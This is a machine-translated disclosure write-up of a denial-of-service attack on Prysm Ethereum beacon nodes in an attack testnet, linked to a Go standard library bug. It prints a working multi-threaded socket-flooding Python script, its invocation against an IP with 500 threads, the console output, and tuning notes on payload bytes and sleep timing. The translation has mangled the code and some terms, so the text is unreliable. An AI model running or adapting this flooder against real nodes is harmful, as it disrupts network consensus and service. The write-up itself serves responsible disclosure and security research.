Go标准库中9年前的错误启用了DoS

这次攻击的成功归功于Go标准库中的一个9年前的错误。在验尸过程中，@protolambda、@prestonvanloon、@raulk和我发现了这个漏洞，并选择负责任地向Golang安全团队披露细节。有关更多详细信息，请参阅以下链接：

作为负责任的披露过程的一部分，我选择在漏洞修复并发布安全补丁之前删除此问题。以下是攻击的原始描述(未经更改)。好好享受吧！

PRYSM节点容易受到DoS攻击，从而阻止它们参与共识。

4个Prsym节点中有3个是2台持续DoS攻击的AWS t2小型机的目标。

DoS攻击对攻击网络的影响是长时间的损失终止性；但是，一旦攻击停止，网络能够在几个时期内恢复到正常状态。受到攻击的节点表现出高CPU使用率、大量出站流量、在子网中查找对等点的困难以及一个节点的本地时钟存在时差，从而导致导入数据块时出现问题。

这是两台机器运行的代码，以防止攻击网络上的最终结果。

#！/usr/bin/python3导入线程导入套接字导入时间导入sys def worker(id，ip，port)：WHILE TRUE：SOCK=SOCKET。插座(插座。AF_INET，插座。SOCK_STREAM)袜子。连接((IP，端口))打印("；Worker{}已连接"；。格式(Id))数据包=字节([255]*65536)SOCK。发送(数据包)时间。睡袜(20)。如果__name__=="；__main__"；：ip=sys，则关闭()。Argv[1]端口=int(系统。Argv[2])num_thread=int(sys.。Argv[3])线程=[]，i在范围内(Num_Thread)：线程=线程。线程(target=worker，args=(i，ip，port))线程。附加(线程)线程。启动()。

$./PRYSM_attack.sh 3.236.241.28 9000 500Worker 0已连接Worker 1已连接Worker 2已连接Worker 3已连接Worker 4已连接Worker 5已连接Worker 6已连接Worker 7已连接Worker 8已连接Worker 9已连接Worker 10已连接...Worker 499已连接

为了执行攻击，我使用三个进程将以下IP地址作为目标-一台计算机上有两个进程，另一台计算机上有一个进程。

每个进程产生500个线程，这些线程进入执行以下步骤的无限循环：

注意：该攻击肯定适用于有效负载xFF、xFe等，但是x00会导致Prysm断开连接。

注意：睡眠时间是一个限制器，有点随意，但实验上它比我在使用Netcat时注意到的Prysm节点的超时时间要低。

在开发此攻击时，我尝试做的第一件事就是使用使Teku崩溃的同一命令。不幸的是，从/dev/Zero发送输出会导致Prysm立即断开连接。最后，我找到了其他可以让连接保持开放的有效负载(见上文)，但是发送大量的小数据包(就像我对Teku所做的那样)在Prysm上似乎没有那么有效。我转而使用Python，这样我可以更好地调整比率，我发现较少数量的大包对Prysm更有效。

请记住，此处的目标只是关闭网络，因此攻击是使用症状方法(即试错)设计的，几乎不考虑根本原因分析。这将花费更多的时间来隔离运行、记录它们并将性能与其他客户端进行比较。

需要注意的一点是，这次攻击似乎对灯塔并不有效。

这场攻击从1843年持续到1864年。我应该停在大纪元1860，但是Prysm攻击网的信标链探索者在大纪元1860之前1个插槽变得没有反应。因此，我必须启动一个本地Prysm节点来验证攻击是否成功。当节点同步启动时，信标链浏览器重新联机，攻击持续了20多个纪元。

以下是我的本地节点的屏幕截图，显示了超过16个纪元的终结性被阻止：

PRYSM'；从攻击中恢复的过程很有趣。以下是网络恢复后来自https://prysm-attack-0.beaconcha.in/的一些屏幕截图：

以下是我的本地节点的屏幕截图，显示Prysm在攻击结束后恢复了大约2个纪元：